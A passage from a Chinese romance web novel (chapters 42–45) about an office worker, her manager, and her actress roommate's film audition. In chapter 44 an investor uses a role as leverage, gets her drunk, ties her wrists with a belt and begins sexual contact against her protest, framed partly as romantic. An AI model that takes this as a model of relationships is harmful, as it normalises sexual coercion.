陈昼见她神色匆忙,掩去失落,从衣兜里拿出一张纸,递给她。 四四方方,右下角还印着一朵粉色小花,迟念不明所以,抬头看他。 “你…”算了,陈昼拿着纸巾,拭掉她残留在上唇的奶渍,动作不带一丝暧昧,擦完之后,把纸巾塞到她手里。 无视她呆若木鸡,像什么都没发生似的坐下。 “你不是要忙?” “啊!是…”迟念六神无主地看了看手里的纸巾,胡乱放进兜里,心里想离开,身体却鬼使神差留在这里。 她说:“你…刚才又认错人了吧?” 陈昼毫无愧疚地说:“抱歉,你们实在太像了。” 迟念心里闷闷的,脑海里闪现出另一个女孩的影子。她精致,美丽,嚣张,跋扈,外表和她没有一点关系。 所以,他一直以来说认错,是在撒谎。 为什么呢? 陈昼低头吃饭,没有看到她的表情,说话时也没抬眼,此刻是在公司,自然以上级命令的口吻,“周末有时间吗?” “没有。” 他有些意外,终于抬起头,“要做什么?” 迟念胡言乱语,“陪朋友面试。” “周末面试?”他好似揪住她话里的漏洞,“我觉得周末面试的话这个工作还是没有必要去看了。” “噢。” “现在暂定你周末有时间。”他声音压低,和刚才完全不一样的问询口吻,“今晚呢,今晚有时间吗?” “没有。”她坦然回视。 陈昼微微挑眉,似乎想从她脸上看出深层情绪,“要做什么?” “陪朋友…”她差点又要说面试,紧急改口,“和朋友约了去美容院。” “结束之后呢?” 迟念不敢说没事,“结束后去吃饭。” 去美容院,然后吃饭,两个行程加起来就得三个小时,那个时间大多店铺都关门了,原定计划就这样被打乱。 他短暂停顿,突然说:“你这个朋友,就是你一直说的合租室友吧?” “是。” “她没有男朋友?” 迟念老实回答:“没有。” 陈昼想了想,“我给她介绍一个吧。” “啊?”她太意外,导致表情有些失控。 他熟视无睹,“字面意思,如果她有男朋友的话,就不需要你了,这样我就可以…”他忽然停顿,语速慢了几分,“可以请你帮个忙。” 怎么又用这个理由,迟念有些厌倦了。 “你是上司,想要我做什么直说就好,只要我能办到的,一定赴汤蹈火。” 她的语气平缓,机械,仿佛开会时向上级做报告。 陈昼自然想到之前两次的落荒而逃,这算抵触吗?当然不算,是她自己亲口说的,甩他巴掌了才算。 公司里的谣言已经沉寂,大家的注意力早已转到别处,把他们当成感情稳定的情侣,都以为到了谈婚论嫁的一步。 可笑的是,他们的关系甚至还没确定。 陈昼不是强硬的人,更不是浪漫的人,理性永远战胜感性,可现在却因为过分在意,害怕失败,变得踌躇不前。 他到死也学不会圈子里那帮人的做派,深思熟虑过后,还是决定遵照本心。 “既然今晚没时间,那就明晚?” 迟念觉得,再拒绝的话就不太好了,就算心里堵着一堆黑泥散不开,也要顾及他是上司的事实。 “好。” 陈昼松了口气,餐盘里的午饭就要凉了,他拿起筷子,余光看到迟念要离开,突然开口,“我刚才的提议是认真的。” 嗯?他刚才提议什么了… 陈昼见她茫然,自顾自地说,“我有一个朋友,家世很好,最近还开了投资公司,最重要的是,长相非常不错。” 迟念没想到他真有这种牵线爱好,可惜,她没有。 最近何伶事业心旺盛,为了拿到角色饿得都快见佛祖了,怎么可能找男朋友,这不是给上升期的自己添堵吗? 迟念替她拒绝,“谢谢,不用了。” * 何伶明天就要面试,迟念在下班路上去了进口超市,在里面转了一圈,花巨款买了两盒流心巧克力。 她拎着购物袋,推门第一眼就看到沙发上饿扁的何伶。 从包里拿出巧克力,小小的盒子,却沉甸甸,里面只装了四颗。 撕开一个包装,捏着送到何伶的鼻子下,声音带着蛊惑:“好香好甜的巧克力哦~要不要来一颗?” 何伶无力地睁开眼,虽然目光透着渴望,但是意志力告诉她,这是毒药。 “不!拿走,我不能白费力气。” 迟念“嘶”了一声,吐槽她:“你这样减肥根本不科学,把身体弄坏了,以后不来大姨妈你就老实了。” 何伶有气无力,“通往成功的捷径都是不科学的。” “歪理!”迟念见她不为所动,把整颗巧克力都塞自己嘴里,苦中掺甜,是独属巧克力厚重的醇香。 “明天几点面试啊?”她问。 “导演说下午,但我得提前去。” “那你早上吃点东西吧,别面试到一半昏过去了。” 何伶摇头,“不要!以我现在的身体,就算啃树皮也全都能吸收,万一全胖脸上怎么办,那就真完蛋了。” “就一颗巧克力而已,不然我给你冲碗麦片?” “哎呀你别管我了。”何伶说话都没有力气了,翻了个身,用瘦窄的后背对着她,明显不想多谈。 迟念咂了咂嘴,把想倾诉的事抛到脑后,因为担心,忍不住唠叨,“我觉得你就不该去美容院,哪有饿了十几天跑去汗蒸的,你不要命啦?” “哎呀…”何伶的声音闷闷的,“明天会吃的。” 第二天早上,迟念不放心,走之前给她蒸了一碗鸡蛋羹,还特意写了纸条——无油版,请放心食用~ * 活动截止日倒计时两天,部门里气氛欢快,连带着担忧何伶今天面试的迟念也被感染。 欢姐早上刚到就拉了个群,兴致勃勃地组织活动结束后的庆功会,不知是谁突然艾特了下迟念。 ——@小迟,这次不是单纯的团建,大家AA,想给小陈总办个欢送会,你是他女朋友,去哪听你的。 大家本来还七嘴八舌地建议,有说去漂流的,还有说郊游的,更有甚者还提议组织个三天两夜户外探险的。 此话一出,都如梦方醒。 迟念秒变话题的中心。 ——对哦,小迟和小陈总在一起这么久,一定知道他的喜好。 ——你们也别出馊主意了,这次听小迟的。 ——@小迟,不在吗,怎么不说话? …… 洗手间最里面的隔间里,迟念坐在马桶盖上,看着消息滚动的屏幕,猝不及防被委以重任,她压力很大。 虽然他们在一起吃了很多顿饭,却什么都不知道,打出的字改了又删,手指空划了好久,还是没想出个所以然。 群消息像密集的鼓点,追赶着她马上给出答复。 ——人呢人呢,不会在厕所里吧,谁离得近,进去把小迟揪出来。 ——我!给我一分钟时间! 迟念瞳孔地震,赶紧手忙脚乱敲字。 【小迟】:吃烤肉怎么样?上次大家庆祝我入职成功的那家味道就很好! 页面安静三秒。 ——会不会太没新意了?也太平价,放开肚皮使劲吃,每个人也就A不到一百块,除非吃完再去KTV和酒吧。 ——你觉得小陈总像是和我们去KTV的人吗? ——说实话,不像,但我觉得看在女朋友的面子上应该会答应,不知道有没有机会听小陈总一展歌喉@小迟。 ——我觉得有门,小陈总刚来的时候像罗刹一样,我天天大气都不敢喘,经过这几个月的相处,我觉得他是那种面冷心热的人。 ——附议!而且活动结束了,他也要走了,应该不会再端着了,对吧@小迟。 迟念看着频繁弹出来的红@,无奈苦笑,这么一大堆问题若是问女朋友的话一定有准确答案,可惜她不是。 她也得现问。 惆怅之际,手机弹出新消息。 【陈昼】:今晚七点,停车场见。 第43章 第四十三章 又见旧人 何伶起床的时候, 眼前一阵阵的发黑。 浑身无力,缓了好久才爬起来,艰难地走到客厅。桌子上摆着两个扣着的碗, 一个是鸡蛋羹,一个是燕麦片。 她像看到救济粮的灾民,感动到热泪盈眶, 感叹念念简直是天使。 吃了一半,终于恢复了些力气。 面试虽然要求素颜,可她脸色很差,保险起见, 涂了一层薄薄的防晒, 又打了点腮红, 终于勉强能看。 她打车到城郊的一栋写字楼里。 还没到中午, 楼下已经站了一群俊男美女。何伶站在边缘, 听到他们在聊这部戏,发现很多都是从外地赶来的。 何伶百思不得其解,这种大制作的古装剧一般会在专业的影视基地拍, 怎么会来林江这种北方二线城市,还大张旗鼓地选角。 难道全是冬天戏? 时间定在下午一点, 她去买了一杯咖啡,在即将喝完时收到剧组发来的消息, 通知她去三楼会议室。 有四个女孩和她一起下电梯,何伶走在旁边,偷偷打量。 她们都是浓颜挂,身材也凹凸有致,都穿平底鞋的情况下,有两个明显比她高几厘米, 还非常瘦。 何伶顿时生出强烈的危机感。 来之前的信心削减一半,她紧急调整状态。 如果外型打不过,那就靠履历…可短剧是行业底层,她还没演过主角,一直是配角和反派炮灰… 完了,这下信心彻底没了。 她排在最后一位,坐在走廊的长椅上,心脏狂跳,焦虑到头掉。 点开手机,先释放一波。 【可伶可俐】:念念,如果我没有面试成功,以后回老家结婚,你会给我当伴娘吧? 对面秒回。 【小迟】:?我会抢婚! 【小迟】:你在这种关键时刻发什么昏,记住,你又美又瘦又专业,这个角色就是为你量身定做的! 【可伶可俐】:如果你看到和我竞争的这几个,一定不会这么说。 【小迟】:还能是王祖贤那种级别的? 【可伶可俐】:差不多吧。 【小迟】:…没事,女三号不会选那么出挑的,不然压住女一女二怎么办? 【可伶可俐】:虽然听起来扎心,但是还蛮有道理的,谢谢你。 【小迟】:不管什么结果,第一个告诉我。 【可伶可俐】:好~ 消息发送,会议室的门开了,第一个进去的女生走出来,她的脸上看不出情绪,却对同伴耸了耸肩。 第二个人进去了。 何伶比刚才还紧张,前面还有两个,估计还得十几分钟才能轮到,如果继续坐在这里等下去的话,心脏会爆炸。 走廊尽头的拐角处是应急出口,她起身,向那里走去。 推开门,清凉的风吹拂面颊,和中央空调完全两个感觉。她深呼吸,吐气,把焦虑从身体里清空出去。 手机放回包里,手指却触到奇怪的东西,她站在窗下,敞开包口,看到乱糟糟的杂物中间躺着几颗巧克力。 是迟念偷放的,她露出笑意。 马上要面试,为了抚平焦虑,含一颗也没关系。她捻起一颗,仔细地撕开金箔纸的外包装,用了很久,才露出饱满的圆球。 她心跳逐渐平稳,在纠结一口吃掉还是细细品味时,应急出口的门开了,她转头,看到一张熟悉的脸。 好不容易忘掉的人,就这么凭空出现在面前。 花尧的外表和过去截然相反,以前是一颗蒲公英种子,看起来四散飘摇的不靠谱,现在却变成一株扎根地下的植物,正值茂盛期那种。 他穿着衬衫西裤,皮鞋踩在楼梯上,发出有节奏的脆响,没来由地让人紧张。 何伶愣在原地。 花尧姿态慵懒,嘴角噙着浅浅的笑意,走到她面前,用那双上挑的狐狸眼仔细打量后,熟稔地点评:“瘦了。” 何伶听到这句意味不明的话,想到之前的不愉快,皱着眉后退一步,冷声冷气,“要你管!” 花尧笑意更浓,目光从她脸上转移到手指,她手指很长,细葱似的白,此刻正捏着一颗巧克力球。 他忽然低头,含住那颗,偷走之前,还用舌头舔了下她的指尖。 何伶目瞪口呆。 大脑还没有反应过来,巴掌马上呼过去,在距离他的脸几厘米左右,被他的手攥住。 花尧脸颊鼓起,脸上透着欠打的得意,“很甜,我就当这是贿赂。” * 好不容易平稳的心又泛起涟漪,何伶觉得在这种时候遇到他,不是一个好兆头。她坐在椅子边缘,默默祈祷。 佛经念到一半,会议室的门开了,选角导演探出头,见外面只剩她一个,笑着招手,“你叫何伶吗?” 何伶赶紧站起来,点头哈腰地过去,“对,导演好,我是何伶。” 线上沟通过很多次,何伶一直以为她是个四十多岁那种很有资历的姐姐,结果竟然意外的年轻。 她穿着白色连衣裙,头发随意扎着,戴着圆框眼镜,看外表也就二十多岁。 “到你了。”她笑着说。 何伶点头,快速整理了下着装,跟在她身后走进去。 会议室很大很空旷,林江没有很大的影视公司,这里看起来也不像,应该是临时借来选角用的。 长条桌,后面坐了几个男人,应该是导演和制片,何伶看了一眼,长相倒是符合她的刻板印象。 选角导演示意她站在桌子前介绍自己。 她马上挺直后背,声音清脆,“导演好,我叫何伶,今年二十四岁,身高168,体重44公斤。” 说完,她侧身,停留几秒,又背过身,完成一套标准面试程序后,静等提问。 空气维持了十几秒的安静,在何伶觉得这次果然泡汤了的时候,坐在中间的男人说话了,“你这个身高,44公斤,有点过于瘦了。” 啊? 何伶想到过去半个月挨的饿,这是何苦呢。 男人翻看了一下手边的资料,皱眉说:“女三常年习武,而且要拿大刀,十来斤的铁呢,你拿得动吗?” 何伶忙说:“我拿得动,我可以增肌,练武,可以为了贴合这个角色做任何训练!” 男人有些惊讶,终于抬起头,仔细看她,“叫何伶是吧?” “对。” “我的意思是,你这个身高体重演女三不贴,但是和女一很贴。”他态度很好,甚至用那种哄小孩的诱惑语气,“想不想演女一呀?” 何伶懵了一下,第一反应这是在逗她。 娱乐圈不会这么好混的,她一个演短剧的,没背景没人脉没资源,在圈里查无此人,这种好饼怎么会落到她头上。 铁饼还差不多,能砸死人那种。 她小声说:“我还是想演女三。” 男人哂笑,和旁边的两个男人交换了一下眼神,故作惋惜地说:“我们觉得你更适合女一,这样吧,等会儿有个饭局,正好投资人也在,你们这几个待定的都过去,就算第二轮面试。” 何伶听到“待定”这两个字,激动到眼泪差点飙出来,她连连鞠躬,“谢谢!谢谢导演给我这次机会。” 走出会议室,还像在做梦。 她躲在楼梯间给迟念发消息。 【可伶可俐】:念念!今天晚上还有二面,我觉得应该能过,导演竟然觉得我能演女一哎! 【小迟】:!!! 【小迟】:女一?真的假的! 【可伶可俐】:他是这么说的,但我不敢演,怕被骂死。 【小迟】:为什么啊,你那么美。 【可伶可俐】:美更招骂,骂我资源好有金主什么的,我还是想从小角色演起,毕竟我不是科班出身,业务能力也一般。 【小迟】:有道理!支持!不过你可以吃东西了吧? 【可伶可俐】:晚上有饭局,我看到包里的巧克力了,比心~ 【小迟】:不必客气,会很晚回家? 【可伶可俐】:嗯,我感觉会很晚,你等我消息吧。 【小迟】:OK! * 饭局定在晚上六点,地点是城南的四星酒店。 何伶怕晚上不顺利,下午还是撑着没吃东西。 在指定地点和选角导演汇合,她也看到即将同去的三个女孩和两个男孩,男帅女美,站在一起很有视觉冲击力。 打过招呼之后,坐进加长商务车。 年轻人在一起,聊几句就熟了。何伶坐在靠窗位置,听他们谈起自己演过的影视剧,都是听说过的大制作。 坐在旁边的女孩见何伶一直不说话,以为她内向,主动问:“你演过什么啊?” 何伶有些不好意思,“我演的都是小成本短剧那种…” 前座的男孩突然回头,一张帅脸凭空放大,长得好看也就算了,声音竟然也那么好听,“短剧也有很多出圈的,你说说。” 何伶略有些羞耻地说:“重生八零娇养夫。” 车厢突然寂静,几双眼睛直直地看着她。 没听过? 她又说:“总裁老公,婚后狠狠宠。” 依然沉默。 “…恋恋小事。” 旁边的女孩终于反应过来,兴奋地说:“这个,恋恋小事我听说过,灰姑娘和王子的故事,你演女主?” 何伶有些尴尬,“我演男主后妈。” 空气再次沉寂,前座的帅哥也缩回去,突兀地和旁边的男生聊起了足球;令另两个女孩拍选角导演的肩膀,问等会儿饭局的事。 好在旁边的女孩很善良,她拍了拍何伶的肩膀,小声说:“你能经过层层筛选面试成功,已经很厉害了!” 何伶感激地看了她一眼,“谢谢!” 他们到的时候,包厢里已经坐了白天面试的导演,他抬头扫了一眼,掐灭燃到一半的烟头,示意他们坐下。 选角导演看了看门口,问:“石总还没到?” “应该快了。” “好,那我叫服务员起菜了。” 导演点了点头。 何伶坐在里面的位置,旁边还是车上那个主动搭话的女孩,她黑长直,化着淡妆,长了一双很有辨识度的异域大眼睛。 她凑过来,小声说:“你是第一次参加这种饭局吧?” 何伶点头。 她突然耳语,“这种场合导演也是陪衬,权利都在投资人身上,尤其咱们这部剧,是石家全资投的。” “石家?”何伶想了想,“哦,是那个建材…” 说到一半,胳膊突然被捅了一下,女孩隐晦地看了眼四周,声音压得更低,“这只是表面,实际是做机密项目的…” 何伶一头雾水。 半开玩笑地说:“还能是造火箭的啊?” 女孩伸手做了“嘘声”状,“你小点儿声!” 何伶倒吸一口凉气,不会猜对了吧,她挠了挠后颈,觉得就算造航空母舰的也和自己没多大关系。 “这行业跨度有点大哈~” 女孩看了看门口,见导演在摆弄手机,才敢说,“应该是年轻的一代主张的,听说还想开影视公司呢。” 这个何伶倒是有点兴趣,“真的吗?” “真的,如果影视公司能使用家族资源的话,我想和现在的公司解约。”女孩说完,反问道:“你呢,你现在签公司了吗?” “没有。” “那你想签这个…” 门突然开了,导演第一个站起来,人还没动,双手就伸过去欢迎了,“哎哟,没想到石总百忙之中亲自过来了。” 所有人都站起来了,何伶被男生挡住视线,只看到一个规矩的发顶,然后是和想象截然相反的年轻男声。 “我哪里忙了?” “哈哈哈!”导演朗声大笑,“好!不忙,今晚我们可得好好喝一场,不醉不归哈!” 何伶从刚才就觉得声音熟悉,待人坐在主位,看到那张带着笑意的脸时,太过惊愕,呆滞到忘记坐下。 那个偷巧克力的贼! 导演见她这样,顺势指了指,说:“石总,您觉得她适合演女一吗?” 花尧悠闲地靠在椅背,好像不认识她一样,从上看到下,故意卖关子:“我是外行,不太好下这种决断。” 导演见怪地拍了拍他肩膀,“欺负我是外地来的吧?什么外行,您要是外行,那我们都是外行了。” 花尧眉尾轻挑,完全一副上位者的姿态,“怎么说?” “您是资深摄像啊,眼睛堪比摄像头,要不我能把这帮人都叫过来,让您过目吗?”导演奉承地说完,摆了摆手,示意何伶坐下。 旁边的女孩眼神复杂,“你…还挺…” 何伶不是故意这样引人注意,但是也没法解释,她还想有人和她解释呢,摄像助理怎么摇身一变成投资人了。 她低头,努力降低自己的存在感。 菜陆续上来,天上飞的,地上跑的,海里游的,摆了满满一桌。 期间,几个演员也和花尧搭上话,演过大制作的就是不一样,几句话就介绍完自己,同时还拍了导演的马屁。 只有何伶,除了开始忘记坐下之外,全程没有存在感。 菜全都上齐了,却没有人动筷。 酒倒是开了好几瓶,坐在边上的男生起身倒酒,依次送到导演和花尧的面前。 花尧端起酒杯,晃了晃,意味深长地说:“酒倒是好酒,就是这菜…啧。”他扫了一眼,露出不太满意的表情。 导演顺着他的目光看了一圈,不禁疑惑,这酒店的星级和菜品,在林江数一数二了,难不成还想吃满汉全席啊。 他笑呵呵,“石总您直说。” 花尧瞥了一眼低头的何伶,笑意更浓,打了个响指,喊服务员进来。 他说:“有没有馒头?顺便再来点儿咸菜。” 服务员愣了一下,分不清他这是开玩笑还是真的要,“是那种白面蒸的,圆的,街上卖一块钱一个那种?” 花尧点头,“没错,就是那种。” 服务员无比抱歉,“不好意思,店里没有。” 花尧放下酒杯,突然不满意地板起脸,“怎么办呢,成天吃这种大鱼大肉腻得慌,突然想来点馒头咸菜了。” 旁边的男生马上站起身,揽下这个任务。 “我出去买!” 何伶后知后觉,她想到自己被他纠缠的时候,貌似说了一句睡他等于饿急吃馒头咸菜的气话,难道… 她抬起头,正对上他玩味的眼神。 那件事并没有结束。 第44章 第四十四章 前规则 酒过三巡, 导演终于想起今晚的主题,他眼神迷离,指着何伶和她身边的女孩说:“来, 你俩站起来。” 何伶东西没吃进去,酒倒是被灌了不少,她摇摇晃晃站不稳。 花尧歪坐着, 喝了很多,但眼底不见醉意。他像旧时去馆子里听戏的少爷一样,托着下巴,不紧不慢地欣赏。 大家都在等他发话。 他笑着说:“这还用问我?软那个演女一, 硬那个去抗刀。” 旁边站得笔直的女孩顿时没了精气神, 慌乱地看了眼导演, 就算眼神里万般不肯, 也没等到他站出来出来说话。 倒是旁边的何伶一激灵, 忙说:“我想演女三。” 花尧微微向前探着身体,直视她的眼睛,“为什么?” “…我很喜欢这个角色。” “呵~”一声意味不明的轻笑, 气氛瞬间变冷,在座的人都不敢说话。 半晌过后, 花尧暗含讥讽,“你是觉得那种反派的坏女人和你自己很像?” 何伶虽是醉酒, 却也明白了今天组的这个局,完全是把别人蒙在鼓里,单拎她出来当这个小丑。 是为报之前的一睡之仇? 她开始考虑,是否真的甘心放弃这个机会。 答案是不甘心。 她不年轻了,和迟念说得再不成就回老家结婚,玩笑里掺着真心, 如果这次没演上,只剩两个选项。 一是离开林江,去南方找机会。 二是继续演短剧,榨干青春和热情,然后被淘汰。 何伶恍惚看到未来一片漆黑,当下正处在重要的转折点,她不能随心所欲,该低头时就得低头。 她说:“是,我们很有共鸣。” 花尧颔首,一秒回归正经,“既然如此,关于这个角色的细节,我想单独和你聊聊。” 导演秒懂,马上给今天的饭局做收尾,“那今天就差不多这样,过几天试妆,到时候再正式敲定。” 说完,大家都有眼色地站起身,只有花尧,老神在在地坐在椅子上,眼神就没从何伶身上下去过。 旁边的女孩收拾好东西,离开前捏了捏她的手臂,轻声耳语:“你知道他说这话是什么意思吧?” 何伶“嗯”了一声。 他应该是想叙旧。 ***** 酒店顶层是总统套房,半个房间被落地窗环绕,透明纱帘半掩着,微风吹过,墨色玻璃倒映着室内的旖旎。 何伶是被他从包房里拉出来的,一路电梯直上,推开门,身体猝不及防被男人抵在门后,带着酒气的吻铺天盖地。 饿了半个月的后果在此刻显现出来,她手臂无力,推搡抗拒的动作反倒像欲拒还迎,氧气耗尽后,她彻底放弃反抗。 唇上温热有力,男人整个身体压下来,恨不得把她镶进身体里,距离如此紧密,她自然感受到某处的异常。 “唔…”她喘不过气,发出声音后,脸颊被捏住,牙齿被迫打开,迎接他久违的巡视。 花尧专注又热烈,只一个多月没见,仿佛分开数年。 成年人表达思念的方式赤裸直白,他的手离开脸颊,顺着女孩薄薄的肩膀向下游走,最后停在腰间。 他贪婪地亲吻,急躁地抚摸,纤细的腰肢在掌心里扭动,他分出一丝心情,控制自己不要太用力。 她瘦了好多。 花尧自然而然认为,分开的这段时间她也是痛苦的,说来也是奇怪,他并不觉得两人之间有什么阻力。 何须用另一种身份,难道他不是这部戏的投资人,何伶就不会吻他了? 他才不信。 男人的手燥热有力,游走在后腰,轻抚着向上,路过内衣扣子时,短暂停留,何伶只觉得胸前一凉。 在她愣住时,男人乘虚而入。 身体腾空,男人轻松把她抱起来,几步走到了床边,他不急着放倒,而是在昏暗的灯光下看着她的脸。 “还跑吗?” 何伶双臂环住他的脖颈,乖顺摇头,“不跑了。” 他听到满意的回答,像小孩子收到了糖果,眼底闪烁着愉悦的光芒,“想不想和我在一起?” “嗯。”何伶顿了顿,“提前说好,我是真心想演女三。” 空气短暂沉寂,花尧突然把她放平在床,双臂撑在她两侧,居高临下地,看不清表情。 他声音无波:“你和我在一起,是为了演女三?” 何伶垂眼,手伸到旁边,揪住被子一角盖住身体。 他倒是衣衫完整,连扣子都没解开一颗;反观自己,衣服不晓得哪去了,就算盖了被子,也是处于被压制的状态。 更何况身体虚弱,一点力气都没有。 他到底想干吗,组今晚的局不就是为了这个吗,她为了这个角色都豁出去了,他怎么还叽叽歪歪。 床头的落日灯照在她平静的脸上,仿佛在解一道简单的数学题,无关风月,仿佛忘记自己也曾激烈地吻过他。 花尧身体压低,慢慢靠近真实的答案。 “你今晚和我在一起,只是为了得到演女三的机会?” 何伶没有第一时间否认,在花尧的眼里,等于默认。 他咬紧后牙,明明生气,眼神却变得轻佻无比,他大剌剌地从上打量,看到胸前裹着的被子,一脸不怀好意。 “你如果想演,裹这么紧可不行。” 何伶察觉到气氛的转变,下意识抓紧遮挡的被子,却没想到整个身体都被他翻过来,她惊叫出声。 花尧的下巴抵在她耳边,像在发最后通牒:“还要我再问一次吗?” 何伶不知道他突然发什么疯,努力挣扎后,却把两条胳膊全都送到他手里,男人力气极大,她指尖充血,胀胀的难受。 “唔…你放开我!”她胡乱踢腿。 花尧没有放开她,又轻松把她翻过来,被子在刚才的挣扎中已经滑落,这样面对面,她的身体全部暴露。 他却强制把她手臂固定在头顶,着魔了似的,紧追不舍,“说啊。” “我…”何伶没想到事情会发展到这种走向,她既羞耻又生气,奈何长期饥饿,身体被掏空,一点余力都使不出。 本该服软,可是一想到他的所作所为,被怒气冲昏了大脑。 虽然体力不支,但不影响嘴巴输出。 “对,我就是想演,就算投资人不是你,我也会这样选!” 花尧眼神逐渐变冷,甚至怒极反笑。好,很好,她果然没有心。 那就偏不如你愿! 他单手束缚她的双腕,另一只手伸进腰间,金属的咔嚓声后,他抽出皮带,熟练地把她手捆上。 何伶:? 她终于慌了,暗暗后悔刚呈的口舌之快,皮带是死结,挣脱不开,最后还被他固定在床头的立柱上。 花尧变得冷漠,强制,身上再也看不到过去的影子,像一个刚被解开封印的暴君,只顾释放身体里的戾气。 他露出一种让人捉摸不透的笑意,“角色的事留到下次,今晚主要解决我们的历史遗留问题。”说完,慢条斯理地解开衬衫扣子,“你那晚怎么对我的,我今晚就怎么对你。” 何伶堂皇,抬腿想踢他,自以为很有杀伤力,却轻松被他捕获。他脱掉上衣,最近似乎有健身,紧实的小腹隐隐看到线条。 触觉感受加视觉冲击,让何伶突然说不出话,她眼睁睁地看他欺身压下,一个强制意味的吻落在脖颈处。 身体里热流乱窜,眼前炸开层层烟花,明明是被束缚被欺负的境况,她却生出一丝难以言说的快意。 他的唇一路向下,所到之处激起层层战栗,她刻意压抑身体反应,紧紧咬着下唇,不发出声音。 他的声音随皮肤震动一同传来。 “你很怕吧?” “嗯。”她发出鼻音。 “那求我。”他舔了舔最下面那条突出的肋骨。 “求…”何伶觉得好痒,脚趾用力蜷起,求?求什么?求你别停!? 他却好似有心灵感应一般,突兀地停住了,撑起身体,停在她上方,话锋一转,“我改变主意了。” 说完,整个人轻盈起身,顺便帮她把被子盖好。 两分钟的冷水澡,他发丝滴水,一脸清爽地回来,不顾肩膀还残留着未擦干的水渍,利落地穿上衬衫。 何伶单薄的身体裹在被子里,不知是热还是气,两颊透着不正常的红。 花尧穿好衣服,躬下身,蜻蜓点水吻了她的唇,一脸人畜无害的笑,“放心,我才不像你那样乘人之危呢。” 说完,解开缠在她手腕的皮带,穿进裤子里。 临走之前,他居高临下,“你就当今晚什么都没发生。” 何伶缓了好久好久,胳膊不麻之后,她先裹着被子下床,在沙发上找到内衣和衣服,光是穿上就用了十几分钟。 她瘫坐在地毯上,包在三米之外。 几乎用爬的过去,打开包,拿出手机的时候,看到包里躺着一颗明黄色的巧克力球。 她像饥荒的灾民看到救济粮,抖着手拿出来,撕掉包装,整颗含进嘴里。 醇厚,香甜,可身体里似乎有个巨大的黑洞,饥,渴,不是一颗小小的巧克力就能填满的。 她深吸一口气,点开微信置顶。 第45章 第四十五章 表白失败 迟念在群里回复完消息之后, 一整天心神不宁,经理室的门紧闭着,没来上班的人为什么要在微信约她晚上七点见啊。 她忍下胡思乱想, 把收尾工作做完。 距离七点还有十分钟,她收拾东西,乘电梯下楼, 指尖在一层和负一中间犹疑,最后还是按了负一层。 很久没来,空气被夏季的清凉贯穿,电梯门开, 她一眼就看到熟悉的车停在十几米外, 车灯还闪了闪。 迟念深吸一口气, 脚步加快跑过去。 车窗全开, 陈昼手臂搭在车窗边缘。他今天没穿商务套装, 而是一身休闲,似是为了搭配这个风格,刻意没戴眼镜。 和当初照片里的青春男大一模一样。 迟念坐上副驾驶, 忍住想看的欲望,先说正事儿。 “陈经理, 你喜欢吃烤肉吗?” 陈昼对于她没头没尾的发问有些诧异,反问道:“你喜欢吗?” “…喜欢啊。” 他启动车子, 点头说:“我也喜欢。” 迟念松了一口气,提了一天的心终于稳稳落地,系上安全带之后,终于想起问:“这是…要去哪?” 陈昼转动方向盘,车子驶出停车场。 盛夏天长夜短,这个时间, 太阳还未落,粉红色晚霞鱼鳞似的铺了满天,仿佛置身不真实的童话世界里。 直到驶入主路,陈昼才回复:“逛街。” 迟念自然想到上次逛街,他是为喜欢的女孩挑选礼物为由,那么漂亮的手表,却还没戴在那个女孩的手腕上。 难道,来公司的女孩不是他喜欢的那个? 或者…这是另一个爱慕他的女孩? 迟念倾向于后者,因为只有这样,才能解释她们为什么不像,如果这次也是为了帮忙挑选礼物… 啊! 心里莫名不舒服。 许是那两个意外的吻让她产生不切实际的幻想,连她自己都没意识到,混沌的暧昧早已在身体里生根发芽。 他要离开了。他还没有表白。 迟念惆怅地看着窗外发呆。 陈昼早就发现她情绪不佳,空出来的手不自觉地摸了一下裤兜,四四方方的盒子,里面放着手表。 他按捺着心绪起伏:“上次逛的地方有服装店吧,想麻烦你帮我选一下衣服,不知道方不方便。” 迟念脑子没反应过来,顿了几秒才意识到,又是在当那个和她像的人替身。 心情复杂,很想拒绝,但是面对上司,还是这样一个温和有礼的上司,总是硬不起来,她干巴巴地说了一声可以。 车子停进收费停车场,两人乘电梯直达商场内部,陈昼还和上次一样,对有关女生的东西一概不知,一路沉默,似乎在等待她的建议。 迟念实在没心情。 以前兴致勃勃地想帮他,现在却身心抗拒,频繁的私下接触导致他们之间的界限变得模糊,甚至还过线两次… 她控制不住乱想,这样到底算什么啊,难道自己真的是平替,抑或是消遣? 这可比自作多情难受多了。 陈昼目的明确,他有意识地走到奢侈女装区域,透明玻璃展台里摆着夏季最新款,他指了指模特身上穿的浅黄色连衣裙,问:“这件怎么样?” 他的声音把迟念拉回现实,她抬起头,拿出积极上进的员工状态。 “好看!” “那就试试?” “哦…啊?”迟念硬着头皮说,“这不太好吧,衣服毕竟不像手表,我穿合适不代表她合适,我觉得您还是约她亲自过来…” 陈昼想都没想就截断她的话。 “不用。” 他双手插兜,指尖抵在硬实的盒子上,满脑子都在预演接下来的告白,没有注意迟念脸色泛白。 为了让她乖乖进去,他抱歉地说:“周末我们要参加婚宴,不能抢新人风头,也不能让人觉得怠慢,所以…” 迟念条件反射为领导分忧,“所以得多试几套?” 陈昼压住愉悦的笑意,“这样就太好了。” 奢侈品牌的试衣间豪华得晃眼,她跟在导购小姐的身后,得知要进去帮她换时,不好意思地婉拒:“不用不用,我自己可以。” 导购小姐看了眼连衣裙,“可是…有拉链啊。” 迟念展开双臂,“没事,我胳膊长!” 一个人进去,反锁房门。她后知后觉想到,以前看的偶像剧里几乎都有男主带女主试衣的场景。 暖黄色灯光,氛围暧昧,待女主从里面走出来大变身时,一定会放慢镜头,切入男主惊艳眼神特写,然后插入BGM… 而她此刻作为试衣模特,第一件事是… 翻出标签看价格。 “个十百千万…万?”她一个激灵,以为自己看错,这么一件轻不到二两的裙子,竟然标价三万五千八。 这导致,她换衣服的动作无比小心,生怕身上有什么尖锐的东西刮坏布料。 导购小姐规规矩矩地站在门口,陈昼坐在加长沙发上,视线反复投到试衣间方向。他抬腕看了眼时间,已经五分钟了。 在他起身,准备过去看看时,门开了。 迟念为了把裙子顺利穿进去,特意把头发绑起来,裙子尺码正好,每一块布料都紧密贴合皮肤。 平时习惯穿工装,她很不习惯这种,为了防止走光,一路拽着抹胸处,走出来的姿势有些僵硬。 导购小姐拉着她站在镜子前。 “您年轻,身材也好,很适合穿这种轻盈透着俏皮的款式,不信的话问男朋友,是不是很漂亮。” 迟念顿时警铃大作,刚想解释不是男朋友,耳边就传来温和的男声。 “对,很漂亮。” 她只觉得尴尬,焦灼之际,救命的电话铃声突兀地响起。 也打断了陈昼接下来的动作。 是何伶打来的,她马上接起。 “喂?” 听筒里传来压抑的啜泣声,然后是微弱的求救,“念念,我要死了,快来救我!” 